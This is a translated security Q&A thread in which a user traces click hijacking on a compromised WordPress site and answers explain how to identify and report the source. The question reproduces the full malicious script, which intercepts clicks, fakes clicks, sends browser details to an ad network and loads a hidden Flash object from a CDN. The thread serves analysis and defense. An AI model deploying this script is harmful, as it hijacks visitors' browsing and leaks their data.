¿Cómo rastrear la fuente del ataque de clickjacking dentro de un sitio web usando herramientas de desarrollador?

5

Al navegar por un sitio web popular de Wordpress en mi móvil, al hacer clic en un enlace a un artículo, a veces se abre una nueva ventana a un sitio web malicioso o se inicia la tienda de aplicaciones. Estoy interesado en saber cómo se está haciendo esto utilizando las herramientas de desarrollo. Intenté lanzar dicho sitio web utilizando Google Chrome y simular mi agente de usuario móvil. De hecho, algún sitio web malicioso aleatorio se está abriendo en una nueva ventana.

Sin embargo, al pasar por encima de los enlaces en el sitio original no se da ninguna pista de que se abra un enlace malicioso. Además, no pude rastrear el enlace malicioso buscando en el código fuente de la página HTML representada en Chrome. Parece que se aplican algunos Javascript y CSS magic.

ACTUALIZACIÓN:
Logré rastrear la fuente de clickjacking a un script cargado dinámicamente a continuación:

!function () {
  var e = document,
  t = _gunggo,
  a = t.browser,
  o = t.lib,
  i = t.pop = t.pop || {
    placeHolder: function (e) {
      t.pop.trigger(e)
    }
  },
  r = t.settings.pop = t.settings.pop || {
  };
  r.kw = r.kw || '',
  r.ref = r.ref || '',
  r.type = r.type || 'popunder',
  r.infinite = r.premium || r.infinite || '',
  o.attEvt(e, 'mousedown', i.placeHolder, 1),
  o.attEvt(e, 'click', i.placeHolder, 1),
  o.attEvt(e, 'touchstart', i.placeHolder, 1),
  (r.geotarget || r.price) && o.passGeo(),
  i.enableFlashHack = 0,
  i.url = function () {
    var e = navigator,
    a = screen;
    return '//ad.directrev.com/RealMedia/ads/adstream_sx.ads/' + t.settings.siteID + '/1' + 100000000000000000 * Math.random() + '@x10?uln=' + (e.language ? e.language : e.userLanguage).toLowerCase() + '&je=' + e.javaEnabled() + '&ce=' + e.cookieEnabled + '&sr=' + a.width + 'x' + a.height + '&kw=' + r.kw + '&ref=' + r.ref
  },
  i.lock = function (e) {
    e = e || window.event;
    var t = e.target || e.srcElement;
    t = t && t.tagName ? t.tagName.toUpperCase()  : 0,
    e.cancelBubble = 1,
    e.preventDefault && e.preventDefault(),
    e.stopImmediatePropagation && e.stopImmediatePropagation(),
    e.stopPropagation && e.stopPropagation(),
    e.stop && e.stop()
  },
  i.trigger = function (e) {
    var n = t.settings;
    o.saveActiveViews(r, '_g.pop.views'),
    o.saveActiveViews = function () {
    };
    try {
      if (t.trace.warn('user click'), i.pause) return;
      if ('Chrome' != a.agent && 'mousedown' == e.type || 'Firefox' == a.agent && 2 == e.button) return;
      if (r.ostarget && !o.passOS(r)) return;
      if (r.mobileOnly && !a.isMobile()) return;
      if (r.browserTarget && !o.passBrowser(r)) return;
      if (r.freqcap && !o.passFreqCap(r, '_g.pop')) return;
      if (r.activeViews && !o.passActiveViews(r, '_g.pop.views')) return;
      if (r.geotarget && !o.passGeo(null, r)) return;
      r.price && (n.siteID = o.getSiteIDByGeo(r, n.siteID)),
      t.trace.warn('pass checks'),
      n.debug && 0 !== r.mode && (r.mode = r.mode || 10),
      r.mode = !n.debug && (r.mode < 10 && 0 !== r.mode || 'undefined' == typeof r.mode) ? 10 : r.mode,
      r.infinite && (r.mode = r.infinite),
      o.log('mode: ' + r.mode)
    } catch (s) {
      return void o.log(s)
    }
    'tab' == r.type && 'Chrome' == a.agent ? (i.botClick(i.url()), i.pause = 1, setTimeout(i.clear, 1))  : i.enableFlashHack && i.swf.PercentLoaded() > 0 && 'HTML' != e.target.tagName && 'OBJECT' != e.target.tagName ? 0 == e.button && (i.swf.style.width = i.swf.style.height = '100%', setTimeout(function () {
      i.swf.style.width = i.swf.style.height = '1px'
    }, 2000))  : i.clickHandler()
  },
  i.clickHandler = function () {
    i.pause = 1,
    t.trace.warn('new window');
    var e = screen,
    o = r.width || e.width,
    s = r.height || e.height,
    l = a.agent,
    p = 'tab' == r.type ? '' : 'width=' + o + ',height=' + s + ',top=' + (e.height - s) / 2 + ',left=' + (e.width - o) / 2 + ',resizable=no,scrollbars=yes,toolbar=no,location=no,directories=no,status=no,menubar=no,copyhistory=no';
    'swaptab' != r.type ? n = open(i.url(), '_blank', p)  : (n = open(self.location, '_blank', ''), self.location = i.url()),
    setTimeout(i.clear, 1),
    'popup' != r.type && ('Firefox' == l && n.window.open('about:blank').close(), 'Explorer' == l && (n.blur(), n.opener.focus()))
  },
  i.clear = function () {
    t.trace.warn('clean up'),
    i.pause = 1;
    var a = i.swf;
    r.mode >= 0 && o.saveFreq(r, '_g.pop', r.domain ? r.domain : null),
    r.infinite && (r.mode = r.infinite),
    r.mode <= 0 ? (o.detEvt(e, 'click', i.placeHolder, 1), o.detEvt(e, 'mousedown', i.placeHolder, 1), o.detEvt(e, 'touchstart', i.placeHolder, 1), setTimeout(function () {
      a && e.body.removeChild(a)
    }, 200))  : setTimeout(function () {
      r.freqcap = null,
      r.mode = i.pause = 0,
      a && (a.style.visibility = ''),
      t.trace.warn('reopen start')
    }, 1000 * r.mode),
    a && (a.style.visibility = 'hidden', a.style.width = a.style.height = '1px')
  },
  i.botClick = function (t) {
    var a = e.createElement('a'),
    o = e.createEvent('MouseEvents');
    a.href = t,
    o.initMouseEvent('click', 1, 1, window, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, null),
    a.dispatchEvent(o)
  },
  i.flash = function () {
    o.log('body loaded');
    var t = HTMLElement.prototype,
    a = e.createElement('param'),
    n = e.createElement('object');
    t.attr = t.setAttribute,
    a.attr('name', 'allowscriptaccess'),
    a.attr('value', 'always'),
    n.appendChild(a),
    a = e.createElement('param'),
    a.attr('name', 'wmode'),
    a.attr('value', 'transparent'),
    n.appendChild(a),
    n.attr('data', '//az413505.vo.msecnd.net/images/g.swf'),
    n.attr('style', 'position:fixed;width:1px;height:1px;z-index:999999;overflow:hidden;left:0px'),
    e.body.insertBefore(n, e.body.firstChild),
    i.swf = n,
    e.removeEventListener('DOMContentLoaded', i.flash)
  },
  i.init = function () {
    try {
      o.detEvt(e, 'mousedown', _gunggo.pop.open, 1),
      o.detEvt(e, 'click', _gunggo.pop.open, 1)
    } catch (t) {
    }
  },
  i.clkPop = i.trigger,
  a.flash && 'popunder' == r.type && 'Chrome' == a.agent && a.version <= 42 && (e.body ? i.flash()  : e.addEventListener('DOMContentLoaded', i.flash), i.enableFlashHack = 1)
}();

Corríjame si me equivoco, parece que el clic del usuario se está suprimiendo con la función i.lock y se simula un clic con la función i.botClick en un elemento de enlace creado dinámicamente.

Sin una depuración minuciosa de la página al pasar por 20 sobre Javascripts, ¿hay una manera rápida y fácil de identificar la fuente de tal ataque de clickjacking para que pueda advertir al propietario del sitio, que puede no estar bien versado en javascript, sobre este problema oculto.

    
pregunta Question Overflow 09.08.2015 - 07:34
fuente

2 respuestas

3

Las partes del script que identificó que son importantes para la fuente son las siguientes:

//ad.directrev.com/RealMedia/ads/adstream_sx.ads/

y

n.attr('data', '//az413505.vo.msecnd.net/images/g.swf'),

Ambos de estos son URL y pueden usarse para identificar quién está involucrado en este script. La primera URL identifica la red de afiliados de publicidad, "directrev.com", que sirve de intermediario para el editor (en este caso, un pirata informático de su descripción) y el anunciante. Al usar redes de afiliados como éstas, los piratas informáticos pueden monetizar los sitios web comprometidos.

La segunda URL se vincula a un archivo Flash que se descarga desde el CDN de Edge Networks. No descomprimí el archivo (g.swf); es probable que cuando se ejecuta, el archivo Flash descargue algún tipo de paquete de malware. Puedo intentar descompilarlo si está interesado y si el tiempo lo permite, probablemente habrá otra dirección IP o host a los que se haga referencia.

Esta segunda URL se puede usar para identificar quién está involucrado con el esquema que describió: los clientes de Edge Network tienen, según creo, nombres de host estandarizados según sus números de ID de cliente, en este caso, az413505.vo.msecnd. red. El envío de una queja de abuso a Edgecast con una copia del script que proporcionó aquí puede resultar en la terminación de su servicio; siempre que Edgecast haga cumplir y AUP estándar de la industria.

En cuanto a los otros comentarios que debaten la diferencia entre "click-jacking" y "popunders"; OMI cualquiera de los términos es relevante aquí. Los mercadólogos usan el término popunder para intentar legitimar una práctica engañosa, dañina y frecuentemente ilegal. Los usuarios que han sido víctimas de esas prácticas suelen utilizar el "clicking jacking". Prefiero hacer click-jacking, ya que describe con mayor precisión lo que ha ocurrido: el popunder fácilmente me recuerda a "popup", una acción que dejaría la página de navegación original en su lugar. Especialmente en este escenario, donde el anuncio se ha colocado a través de la desfiguración de un sitio web, el "click-jacking" implica mejor el robo de tráfico que se está produciendo.

Finalmente; Es posible que haya entendido mal lo que OP significa aquí por "fuente", ya que él o él podrían haberse referido a cómo se comprometió originalmente el sitio web en cuestión. Estos tipos de desfiguraciones ocurren con frecuencia a través de la explotación de versiones y complementos de Wordpress más antiguos e inseguros. Desafortunadamente, una revisión del código es la única manera de estar seguro, pero recomendaría comenzar por restablecer las contraseñas de las cuentas, deshabilitar los complementos desactualizados y asegurar que Wordpress sea la última versión. Otros destinos que no son de Wordpress incluyen formularios web e inyección SQL.

    
respondido por el Josh Wieder 03.11.2015 - 20:43
fuente
-1

Debido a que está utilizando Google Chrome Developer Tools, aquí hay información de mi experiencia:

  • PODRÍA QUE el cambio de User Agent no se esté aplicando en el sitio web. Mobile User Agent Emulator en Google Chrome Developer Tools no es realmente eficiente, a veces funciona y otras no. Depende de la detección del agente de usuario del sitio web (Web Mobile Developer). Deberías probar con Firefox o quizás con un emulador de Android.
  • Si es bueno con HTML, debe deshabilitar JavaScript, SOLO PARA FINES DE SEGURIDAD, deshabilitarlo con las Herramientas del desarrollador o usar complementos NoScript.
  • Análisis de etiquetas en la página de inicio y en el pie de página. Como desarrollador web móvil, siempre intentamos poner todos los scripts en el encabezado o pie de página de la página solo para cargar y mejorar la experiencia del usuario. Un atacante puede verificar muchas validaciones de su dispositivo móvil antes de cargar toda la página, así que comience con el encabezado.
  • Comprueba la pestaña Red en Herramientas de desarrollo. Esto es útil para saber qué se está cargando en la página. Tal vez no solo se esté cargando esa página, sino que también un atacante podría cargar iframes solo para la comprobación del dispositivo.

Y otra cosa: siempre verifique los encabezados HTTP y la respuesta. En la pestaña de red, puede comprobar qué servidor está usando el atacante y tal vez podría funcionar algún error de análisis de página.

    
respondido por el NathanWay 10.08.2015 - 05:43
fuente

Lea otras preguntas en las etiquetas